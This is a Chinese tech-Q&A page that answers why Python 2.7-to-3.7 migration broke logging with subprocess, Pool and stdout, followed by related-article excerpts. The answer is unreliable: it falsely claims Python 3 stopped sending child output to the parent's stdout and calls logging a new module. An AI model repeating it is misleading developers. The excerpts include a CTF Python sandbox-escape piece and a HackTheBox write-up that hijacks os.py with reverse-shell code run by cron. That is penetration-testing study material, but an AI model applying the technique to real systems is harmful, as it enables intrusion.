首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么从Python2.7到3.7的迁移打破了我使用subprocess、Pool和stdout的日志记录?

从Python2.7到3.7的迁移打破了使用subprocess、Pool和stdout的日志记录的原因是因为在Python 3中,对于子进程和进程池的处理方式发生了一些变化,特别是在涉及到标准输出(stdout)的情况下。

在Python 2.7中,subprocess模块和multiprocessing模块的Pool类允许将子进程的输出重定向到父进程的标准输出(stdout)。这意味着可以通过捕获子进程的输出来记录日志。

然而,在Python 3中,为了改进子进程和进程池的行为,对于标准输出(stdout)的处理发生了变化。现在,子进程的输出不再直接重定向到父进程的标准输出(stdout),而是通过管道(pipe)传递给父进程。这意味着无法直接通过捕获标准输出来记录子进程的日志。

为了解决这个问题,可以使用新的logging模块来记录子进程的输出。可以通过创建一个新的日志处理器(logging handler),将子进程的输出传递给该处理器,并将处理器添加到日志记录器(logging logger)中。这样就可以将子进程的输出记录到日志文件中。

另外,对于进程池的情况,可以使用新的回调函数(callback function)来处理子进程的输出。在每个子进程完成任务后,可以通过回调函数将子进程的输出传递给父进程,并进行相应的日志记录。

总结起来,从Python2.7到3.7的迁移打破了使用subprocess、Pool和stdout的日志记录,是因为Python 3中对于子进程和进程池的处理方式发生了变化,不再直接重定向子进程的输出到父进程的标准输出(stdout)。为了解决这个问题,可以使用新的logging模块来记录子进程的输出,或者使用回调函数来处理进程池的输出。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

预估ceph迁移数据量

引言 我们在进行 ceph osd 增加减少维护时候,会碰到迁移数据,但是我们平时会怎么去回答关于迁移数据量问题,一般来说,都是说很多,或者说根据环境来看,有没有精确一个说法,到底要迁移多少数据...这个以前也有思考过这个问题,当时想是对比前后pg分布,然后进行计算,正好在翻一些资料时候,看到有alram写一篇博客,alram是Inktank程序员,也就是sage所在公司,程序是一个python...,下面我们对内部逻辑进行分析 代码代码分析 代码 #!...new_osdmap_path] subprocess.call(args, stdout=FNULL, stderr=subprocess.STDOUT) args = ['osdmaptool.../osdmap 获取新crushmap 这个是自己编辑成需要crushmap 将新crushmap注入osdmap里面得到新osdmap osdmaptool --import-crush

95120

Python 运维中使用并发

今天大哥手里接了一个需求: 验证一下新 Docker 镜像仓库(Docker Registry)是否迁移成功了 简单粗暴方法就是拿到老仓库中镜像列表(Image List),在新仓库模拟用户重新拉取...这里我们用到了一个 Python 标准库(standard module) : import subprocess 我们都知道,命令执行过程中会有标准输出(stdout标准错误(stderror):...,子进程会继承父进程中所有文件描述符 最后,通过序列解包: stdout, stderr = run_cmd('uname -a') 获取标准输出标准错误,这个方法我们后面要用到好多 拿到镜像列表文件了...,先使用 cat imagelist | wc -l 查看了一下行数(镜像数量),4254 个,还行,不算太多 ---- 思路: 拉取列表中镜像,拉取成功后将其删除并标记为成功 拉取失败就标记为失败记录错误...,它是大名鼎鼎 gevent,为什么使用它,因为我们任务是 I/O密集 型,gevent 擅长处理这类任务(有兴趣可以去了解下猴子补丁) pip install gevent 我们看导入模块代码

1.4K121
  • 解决python3中关于import疑难杂症

    /2.7/lib/python2.7/subprocess.pyc'>, 'sysconfig': <module 'sysconfig' from '/System/Library/Frameworks...local namespace:函数命名空间,记录函数变量 global namespace:模块命名空间,记录模块变量(函数、类、导入模块、模块级别的变量常量) build-in...namespace:包含build-in functionexceptions,可被任意模块访问 import方式影响我们使用方式正是namespace作用体现: from foo import...shutil:提供文件、文件夹压缩包等处理模块 configparser:提供对特定配置操作 logging:提供日志功能 timedatetime:提供时间相关操作 random:提供随机数操作...module代码时python解释器需要先搜索对应.py文件,搜索顺序为: sys.path:包含了当前脚本路径其他查找包(系统库、第三方库等)路径,你也可以在代码中通过sys.path.append

    1.7K30

    Python 简单沙盒绕过

    base64 ,实际题目中并没有用到,不过没什么影响 题目中过滤了 h、'、"(,最终目的是要给一个QQ bot发送自己代码让它执行,执行成功就可以得到flag 过滤字符来看其实本题已经算是非常简单了...无法是想办法引入 os ,或者引入其他可以执行命令库,方法也比较简单,比如从内置函数里寻找,或者 object 类所有子类里找,通过下面给出代码在本地先进行搜索,找到目标后再远程构造,本题甚至可以直接通过字符拼接方式得到...每当导入新模块时,sys.modules 都将记录这些模块。字典 sys.modules 对于加载模块起到了缓冲作用。当某个模块第一次导入,字典 sys.modules 将自动记录该模块。...模块允许我们启动一个新进程,并连接到它们输入/输出/错误管道,从而获取返回值 这个模块内置函数很多,功能也很复杂,在此就简单介绍几个命令执行相关(要先 import) subprocess.run...以本地环境为例,当前 python 进程映射到本地 ELF 文件为 /usr/bin/python2.7,通过管道符直接将命令传递给沙盒 echo "stdout.

    1.8K10

    Python实战-使用微信遥控你电脑

    现在都是快节奏办公生活,大家都是同时使用手机电脑,这就免不了使用微信与电脑之间相互传递文件,想一想你使用过多少次文件传输助手? 当你在电脑前时,手机与电脑之间相互传文件都非常简单。...原理非常简单,就是使用手机发送消息网页版微信,网页版微信收到消息后执行相应任务,然后把结果返回给手机端,由于网页版微信在电脑端登陆,因此可以控制电脑。...,不要发送大量无用信息去干扰他人,正常使用了 2 年了,主要发一些定时提醒消息,传少量文件,至今还可以正常登陆。...,比如你可以自己聊天,记录所有收到消息日志,防止撤回,监控程序使用内存等信息,参考 wxpy 文档来定制你需求吧。...,防止消息被撤回,保存在日志文件中 :param msg: :return: ''' logger.info(msg) 完整代码一键运行文件,已生成好,放在了百度网盘中

    1.6K20

    Elasticsearch ILM 热节点迁移至冷节点 IO 满、影响读写解决方案探讨

    3.1 解决方案1——实施分批迁移数据 实施分批迁移数据方法,可以通过调整 Elasticsearch索引生命周期管理(ILM)策略使用一些自动化脚本来实现。...整个过程就像调节河流流量一样,通过控制分批转移,确保数据流动既顺畅又高效。 步骤3. 监控调整 持续监控Elasticsearch集群性能,特别是IO使用情况、CPU内存利用率。...确保在进行迁移操作时,不影响业务正常读写,可以考虑使用 Elasticsearch Shard Allocation Awareness,确保数据节点合理分布资源隔离。...参考:Elasticsearch:写入原理谈写入优化 3.4 方案四:提前获取消息!——监控与自动化管理 使用自动化工具来根据实时监控数据动态调整 ILM 策略。...iostat 获取 IO 利用率 result = subprocess.run(['iostat', '-dx', '1', '1'], stdout=subprocess.PIPE)

    8310

    发布系统有那么难么?

    必要性 如果一个上点规模公司,技术团队有什么值得一做系统,那么发布系统算一个。 jenkins用好好为什么要自己搞呢?...构建成功后,会自动给提交tag(也可以自定义tag)。同一个项目不允许同时打包。构建失败,可以重新进行构建,构建者会看到实时滚动日志。...这里有两个技术点: 1) 如何获取git提交记录并进行切换? 2) 如何显示滚动日志? 获取gitlab提交记录 拿gitlab来说(因为用最多)。加入gitlabmaven即可使用。...部署记录都会按照打包记录进行分组,显示在日志列中。同一次部署,如果有一台部署失败,则默认部署整体部署失败,可以部署日志判断当前部署状态。...脚本 发布系统web端,不过是套层皮囊。真正去执行,还是我们脚本。 使用python脚本进行构建和发布,是非常方便。有些java开发人员对脚本不是很熟,这里挑比较重要点说明一下。

    57930

    Python23 内置模块讲解

    向stdin发送数据,或stdoutstderr中读取数据。可选参数input指定发送到子进程参数。 Communicate()返回一个元组:(stdoutdata, stderrdata)。...同样,如 果希望stdoutstderr获取数据,必须将stdoutstderr设置为PIPE。...同样,如 果希望stdoutstderr获取数据,必须将stdoutstderr设置为PIPE。 Popen.send_signal(signal)  向子进程发送信号。...可以看到app_run;不是通过函数则为空() 12.4 logging模块涉及四个主要类 logger提供了应用程序可以直接使用接口 handler将(logger创建日志记录发送到合适目的输出...(输出到屏幕、文件、邮件等); filter提供了细度设备来决定输出哪条日志记录; formatter决定日志记录最终输出格式。

    1.6K20

    解决windows下python3使用multiprocessing.Pool出现问题

    解决这个问题方法是永远把实际执行功能代码加入带保护区域中:if __name__ == ‘__mian__’: 补充知识:multiprocessing Pool异常处理问题 multiprocessing.Pool...但是如果你好奇为什么为出现AttributeError异常,那么可以继续往下看。...主进程与各个worker子进程间通信使用内部定义Queue,其实就是Pipe管道通信,如上图_taskqueue、_inqueue_outqueue。...代码中可以看到,在执行func时,如果func抛出异常,那么worker会将异常对象直接放入_outqueue中,然后等待下一个task。也就是说,worker是可以处理异常。...同时,网上好像也听说使用multprocessingsubprocess库出现问题,或许也是这个异常抛出问题,毕竟suprocessError定义与Exception好像有些区别。

    5.5K20

    运维效率之数据迁移自动化

    三个月使用后overmind得到了大家认可,并且切切实实帮助我们节约了时间,这也给予了这个非专业开发、半吊子DBA莫大鼓励信心。...日常工作中经常会接到把数据库整库或单表生产环境导入测试环境或测试A导入测试B等数据库、表之间数据互导需求,这类操作没有太高技术含量还费时费力容易出错,最适合做到自动化流程中,这便是overmind...为什么需要工单?目前流程都是通过邮件方式,需求邮件DBA,DBA执行导数据操作。自动化流程理论来说应该从头至尾都无需人工参与,但涉及数据安全问题,还是需要DBA确认,所以加了工单。...同时为了能够保证工单及时被处理,我们每一步都会增加邮件IM通知,给用户最及时反馈。 数据迁移工单流程很简单,用户提交工单,DBA进行审核,审核通过系统自动执行迁移操作,审核不通过流程结束。...,只能在python代码中调用shell命令,推荐使用subprocess模块,这个模块有着更加丰富使用方法,方便获取最终命令执行状态输出结果,转换成完整python类如下: from subprocess

    75340

    Locust + python + influxdb + grafana 展示性能压测QPS图表

    需求 在使用locust压测时候,如果使用web则可以查看到QPS压测过程曲线图。而如果使用no web模式启动,则只有一些打印日志可以查看。...有兴趣可以参考:Matplotlib可视化查看Locust测试结果(一) 方式二,过滤locust使用no web模式下打印出来日志 在经过多测压测测试之后,决定直接使用locust执行过程打印日志来生成图表...原生locust执行日志: ? 可以图中看到,在执行locust脚本使用no web模式时候,执行日志默认是INFO级别的,一般我们都是这样去使用。...此时,INFO日志信息locust压测执行结果混合在一起打印,这就让人很不开心了。所以必须将其分开。 首先确定只需要信息,如下: ? 如果压测接口有多个,那么就会有对应多条信息。..., shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) for line in iter(p.stdout.readline

    2K52

    DIY打造71TBNAS存储

    使用是两个SSD并配置RAID1。 此特定机箱版本支持SPGIO,这有助于识别哪个硬盘发生故障。使用IBM 1015卡支持SGPIO。...ZFS不主要关注性能,但为了获得最佳性能,它大量使用RAM来缓存读取写入。这就是为什么ECC内存如此重要。 ZFS还实现了RAID。所以没有必要使用MDADM(软RAID管理命令mdadm)。...通常不推荐在单个池中使用不同VDEV大小,但ZFS非常智能酷:它根据VDEV大小负载平衡VDEV中数据。可以通过zpool iostat -v 5进行实时验证。...RAIDZ3使用ashift = 9(512字节扇区),为什么使用RAIDZ3了,因为旧硬盘性能已经下降,在数据恢复过程中,时间需要更长,而且故障可能性也更大,为了保证数据安全,使用了RAIDZ3...存储性能: 让我们24个驱动器RAID 0开始。使用硬盘具有160 MB / s持续读/写速度,因此应该可以达到3840 MB / s或3.8 GB / s速度。

    5.1K20

    Django项目在Linux服务器上部署躺过

    引言   在各方推荐下,领导让在测试环境部署之前开发测试数据预报平台。...1.更新系统软件包 [root@localhost ~]# yum update -y 2.安装软件管理包可能使用依赖 [root@localhost ~]# yum -y groupinstall...=4 16 17 #日志文件路径,前提是该文件要存在,且可写 18 daemonize = /home/my_project/django_demo/run.log 19 20 #表示不记录正常信息...,只记录错误信息,否则你日志可能很快就爆满 21 disable-logging = true 22 23 #当服务器退出时候自动清理环境 24 vacuum = true 25 26 #进程信息文件路径...,创建文件夹collect_static mkdir collect_static 3.静态文件迁移 python manage.py collectstatic django会把所有的static文件都复制

    2K20

    FrindZone writeup

    在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器主服务器拷贝数据,并用得到数据更新自身数据库。 若DNS服务器配置不当,可能导致匿名用户获取某个域所有记录。...扫描目录发现几个有趣url,login.php、dashboard.phptimestamp.php。 ? 访问这几个页面,提示如下信息。 ? ? ? 那我们使用获得账号密码登陆看看 ?...那我们只需要将反弹shell代码插入os.py中,在定时任务触发时,我们便能获取到反弹shell了。...(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read...s.send(stdout_value)# close sockets.close() 因为无法使用交互式文本编辑器,那么我们直接echo”””{代码段}”””>>os.py中就可以了 ?

    55750
    领券